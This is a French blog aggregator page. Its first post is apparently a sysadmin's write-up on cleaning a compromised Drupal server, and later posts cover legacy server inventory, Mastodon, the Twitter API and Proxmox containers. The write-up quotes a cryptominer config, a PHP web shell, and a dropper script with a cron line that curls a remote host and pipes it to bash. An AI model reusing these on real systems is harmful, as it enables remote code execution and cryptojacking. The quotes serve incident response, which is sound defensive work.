"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.XXX.XXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}

On bannira ces IP.

Vérification des connexions réseaux actives

Trois commandes et outils pour voir les connexions actives avant et après le bannissement

netstat -puant
Nethogs
Iftop

qui confirment les connexions aux serveurs.

Bannir les IP

Pour chaque série d'IP, on bannit via iptables

iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP

Connexion sortantes et entrantes bloquées, nettoyage...

Méthode barbare

rm -rf /tmp
rm -rf /var/tmp

Et on tue les processus liés à www-data

killall -u www-data

Autres fichiers en PHP dans la partie Drupal - site web

Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.

$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php iindex.phpcat lefichier |base64 -d
if(isset($_REQUEST['pass']))
{
echo "";
$hash = hash("sha512", $_REQUEST['pass']);
if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
{ if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
else echo "gtfo";
echo "";
die;
}

Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...

Les fichiers réapparaissent

Malgré les kill, le processus se relance et les fichiers réapparaissent.

On regarde de nouveau les processus

root@machine:/# ps -aux |grep rapport
rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport

root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com
root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).

On récupère le fichier via wget et on regarde son contenu

$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \\
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \\
crontab /tmp/cron || true && \\
rm -rf /tmp/cron || true && \\
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....

C'est ce processus masqué qui fait revenir les fichiers...

Ban de l'IP

iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP

Nettoyage des tâches cron

Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.

En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :

root@machine:/var/spool/cron/crontabs# ls
www-data

cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s

Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur

rm /var/spool/cron/crontabs/www-data
killall -u www-data

Changement des droits de /var/tmp

Par défaut, les droits de /var/tmp était en 777 sur cette machine...

chmod 755 /var/tmp

comme ça le processus lié à l'utilisateur php ne peut plus écrire.

Conclusion

On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...

Gravatar de genma
Original post of genma.Votez pour ce billet sur Planet Libre.

genma : Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1

Ce billet fait partie de la série :
-Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Le legacy ?

Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.

En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...

En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)

Dresser une cartographie complète de l'existant

A ma connaissance, il y a deux façons : la façon barbare et la façon longue et fastidieuse

La façon barbare : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.

Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.

La façon plus moderne

Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont ansiblelisées. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.

la façon longue et fastidieuse

J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.

Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...

Tableau de suivi

J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
- Nom de machine,
- IP publique
- IP privée
- Groupe
- Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
- Services
- Etat des sauvegardes : sauvegardée ou non
- Version de l'OS
- Etat des mises à jour
- Présence ou non de fail2ban
- Liste des ports ouverts sur l'extérieur
- Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).
...

Comment gérer le legacy ? Des O.S. obsolètes...

Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.

Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".

Il faut prendre ça avec humour.

Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.

Comment gérer le legacy ? Cas de la gestion des machines physiques

Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...

Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...

Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir & anticiper les pannes.

Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...

Comment gérer le legacy ? Lister les priorités et les services critiques

Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier :
- que l'on a des sauvegardes et que l'on sait les restaurer ;
- que ces sauvegardes marchent ;
- que les machines sont à jour...

Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).

Conclusion

Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.

Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.

Gravatar de genma
Original post of genma.Votez pour ce billet sur Planet Libre.

Okki : Création d’un compte Mastodon


Pour ceux qui n’en auraient encore jamais entendu parler, Mastodon est un logiciel libre de microblogage, et un réseau social décentralisé. Si ça ne vous parle toujours pas, disons que pour l’utilisateur final, c’est le même principe que Twitter, la liberté et le respect de l’utilisateur en plus 😁

Chacun est libre de créer sa propre instance et de fixer ses propres règles, ou d’en rejoindre une déjà existante, comme celles de La Quadrature du Net, de Framasoft, ou parmi la centaine d’autres.

Je ne vais pas réexpliquer le principe de Mastodon, Next INpact et Numerama ayant déjà écrit de nombreux articles sur le sujet :

Donc voilà, je me crée un compte sur l’instance gérée par La Quadrature du Net, puis celle-ci de me prévenir qu’il faut que j’indique l’adresse @gnomelibre@mamot.fr à mes amis pour qu’ils puissent m’envoyer un message ou me suivre à partir d’une autre instance.

Je configure rapidement mon compte et m’empresse de balancer mon premier « pouet » (l’équivalent local d’un tweet) sur la mort annoncée des clients libres pour Twitter (on notera d’ailleurs que WordPress ne sait toujours pas inclure les pouets correctement dans un article, affichant énormément d’espace entre le pouet et le reste de l’article).

Et maintenant, c’est le drame. N’étant pas présent sur Twitter (j’avais créé un compte il y a longtemps pour pouvoir illustrer un article sur Corebird, mais ce n’était guère allé plus loin), on ne peut pas dire que je sois particulièrement à l’aise avec le microblogage (je suis resté bloqué sur IRC :)

Je cherche donc à suivre le compte de certains projets, mais je me rends vite compte que GNOME, KDE, Fedora, la Linux Foundation et tant d’autres sont bien présents sur les réseaux sociaux, mais uniquement les propriétaires : Facebook, G+ et Twitter en tête. Et il en va de même des principaux développeurs de logiciels libres, qui semblent se limiter à G+ ou Twitter.

Je me retrouve donc désespérément seul sur mon tout premier réseau social, sans le moindre projet à suivre et sans savoir comment le reste du monde pourrait bien entendre mes pouets 😱

Gravatar de Okki
Original post of Okki.Votez pour ce billet sur Planet Libre.

Okki : Mort annoncée du client Twitter Corebird

Depuis plusieurs années, Twitter tente de faire disparaître les clients tiers pour contraindre les utilisateurs de passer par le site web ou d’utiliser le client officiel. Même si l’entreprise se refuse à en donner la raison, il y a fort à parier que ce soit bien plus simple et efficace pour récolter les données personnelles de leurs utilisateurs (pour pouvoir les revendre) ou de garantir l’affichage de la publicité.

Récemment, Twitter est allé encore plus loin, en annonçant la suppression à venir de certaines API vitales pour les clients tiers, telle que la mise à jour des flux en temps réel.

Last year we announced our plan to retire Site Streams & User Streams, and replace them with the Account Activity API (currently in beta). We are delaying the scheduled June 19th deprecation date.

— Twitter Dev (@TwitterDev) April 6, 2018

Twitter a bien prévu une API de remplacement (Account Activity), mais cette dernière ne serait gratuite que pour une utilisation limitée à seulement 15 comptes. Impensable pour des clients qui ont parfois plusieurs centaines de milliers d’utilisateurs. Au-delà, l’accès à l’API sera commercialisé à 2899 dollars par mois par tranche de 250 utilisateurs. Pour que ce soit rentable, il faudrait que les applications soient commercialisées sous forme d’abonnement mensuel à 16 dollars. Inconcevable pour les applications qui auraient fait le choix d’une licence libre.

Les développeurs de plusieurs applications (Talon, Tweetbot, Tweetings, Twitterrific…) se sont associés en lançant le site web Apps of a Feather pour prévenir leurs utilisateurs et tenter de faire pression sur Twitter. Mais comme l’indiquait à Next INpact Ludovic Vialle, le créateur du client Plume, « Je sais que Twitter ne cédera pas, ce n’est pas dans leur intérêt, et cela concerne peu d’utilisateurs. Le public peut se passer de son application préférée, mais difficilement de Twitter ».

Pour en revenir à Corebird, son développeur, Timm Bäder, annonce sur sa page Patreon que l’application n’a aucun futur. Il ne pourra jamais payer pour l’accès à l’API, et Corebird étant profondément lié aux API Twitter, d’implémenter la prise en charge d’un autre réseau (tel que Mastodon), demanderait beaucoup trop de travail. Et n’étant plus étudiant, il n’est pas certain d’avoir le temps de s’en occuper. Il est donc fort probable que Corebird cesse de fonctionner à la mi-août, date annoncée par Twitter pour la suppression des API.

Encore une occasion de rappeler l’importance du libre, et ce, à tous les niveaux. Aussi bien logiciel que pour les services en ligne et leurs API. Dépendre d’un tiers non libre est une épée de Damoclès sur les développeurs, qui peuvent se voir résilier l’accès à tout moment.

Gravatar de Okki
Original post of Okki.Votez pour ce billet sur Planet Libre.

Articles similaires

Journal du hacker : Liens intéressants Journal du hacker semaine #20

Pour la 20ème semaine de l'année 2018, voici 10 liens intéressants que vous avez peut-être ratés, relayés par le Journal du hacker, votre source d’informations pour le Logiciel Libre francophone !

Pour ne plus rater aucun article de la communauté francophone, voici :

De plus le site web du Journal du hacker est « adaptatif (responsive) ». N’hésitez pas à le consulter depuis votre smartphone ou votre tablette !

Le Journal du hacker fonctionne de manière collaborative, grâce à la participation de ses membres. Rejoignez-nous pour proposer vos contenus à partager avec la communauté du Logiciel Libre francophone et faire connaître vos projets !

Et vous ? Qu’avez-vous pensé de ces articles ? N’hésitez pas à réagir directement dans les commentaires de l’article sur le Journal du hacker ou bien dans les commentaires de ce billet :)

Gravatar de Journal du hacker
Original post of Journal du hacker.Votez pour ce billet sur Planet Libre.

Articles similaires

Yannic Arnoux : Hébergement et taille de containers

Dans le prolongement de mon article “Choix du système pour s’auto-héberger”, je peux faire un bilan des 6 mois écoulés avec mon hébergement à base de containers LXC avec la distribution Proxmox.

Commençons par les avantages

Le passage d’une installation monolithique à une installation containerisée avec des services répartis dans une dizaine de containers donne la flexibilité de choisir le meilleur outil pour chaque tâche :

  • les micro-services Python se contentent de containers Alpine ultra-légers (64 Mo de RAM).
  • le service Nextcloud a migré d’un container Alpine à un container ArchLinux. Je n’aurais jamais pensé utiliser Arch sur un serveur mais c’est une bonne solution pour garantir une version stable et toujours à jours en terme de sécurité de Nextcloud.
  • le middleware RabbitMQ est installé sur sa distribution de prédilection CentOS dans un container dédié.

La modularité facilite l’administration du serveur : on a besoin d’un nouveau service, on rajoute un container et on limite les risques de casser quelque chose sur l’installation existante.

L’interface Web d’administration de Proxmox est de qualité. Au delà de la gestion des machines virtuelles KVM et des containers LXC, elle donne une vision des ressources CPU /Mémoire consommées par container et au niveau physique.

Tableau de bord Proxmox

Ce qui n’est pas parfait

J’ai un service Nextloud, aisé à gérer dans un seul container avec l’application, les données et la base de donnée. Pour sauvegarder, c’est moins drôle, cela revient à sauvegarder le container de bientôt 100 Go avec Proxmox et la balancer sur l’espace FTP de 100 Go offert par Online. Autre option, sauvegarder les données du calendrier et les contacts avec des scripts maison et mettre en place une sauvegarde classique vers un disque externe des fichiers synchronisés sur mon ordinateur portable. C’est vers cette solution que je m’oriente.

La nuée de services développés par bibi autour du blog (SRMail, Stacosys) serait parfaite pour Docker. Aujourd’hui c’est installé dans des containers LXC, avec des partages de répertoires entre le hôte et les containers pour externaliser la configuration et les données. Docker permettrait de standardiser cet assemblage et d’en profiter à la maison pour facilement remonter un environnement de test.

C’est vraiment le point négatif : j’ai des relations troubles entre la machine hôte et les containers. J’ai installé un serveur NginX sur Proxmox qui fait du proxy vers les NginX des différents containers en fonction du service demandé. J’ai partagé des répertoires entre le hôte et les containers pour externaliser les parties sensibles (la configuration et les données) et faciliter leur sauvegarde puis la machine hôte. Je gère les certificats Let’s Encrypt au niveau du hôte aussi. Bref j’ai une installation custom de Proxmox avec des containers mais aussi plein de trucs installés au niveau de l’hyperviseur.

Conclusion

Ca fonctionne bien mais si j’ai un souci (mise à jour de Proxmox qui casse quelque chose, panne du serveur), je risque de passer des jours à tout remettre en service car j’ai tout installé à la mano. L’idée de tout reprendre à zéro en passant plus de temps pour tout containeriser refait surface. L’idéal pour moi serait de tout exécuter dans des containers et d’avoir une seule arborescence de fichiers à sauvegarder. J’avais tâté un peu Docker et je sais que ça prend pas mal de temps de repenser en containers, de choisir les bonnes images de base… Autre bémol, miser sur une seule entreprise ne m’emballe pas, malgré les efforts de l’Open Container Initiative pour standardiser partiellement la technologie.

Donc j’étudie les options :

  • un provisioning avec Ansible d’un container LXC générique
  • l’ajout de Docker à Proxmox pour rajouter Docker au panel KVM / LXC: dockeriser c’est long, donc garder Proxmox permettrait de répondre rapidement à un besoin avec un container LXC, quitte à dockeriser ensuite le service dans un 2ème temps…

Si vous avez des suggestions je suis carrément preneur :-)

Gravatar de Yannic Arnoux
Original post of Yannic Arnoux.Votez pour ce billet sur Planet Libre.

Pages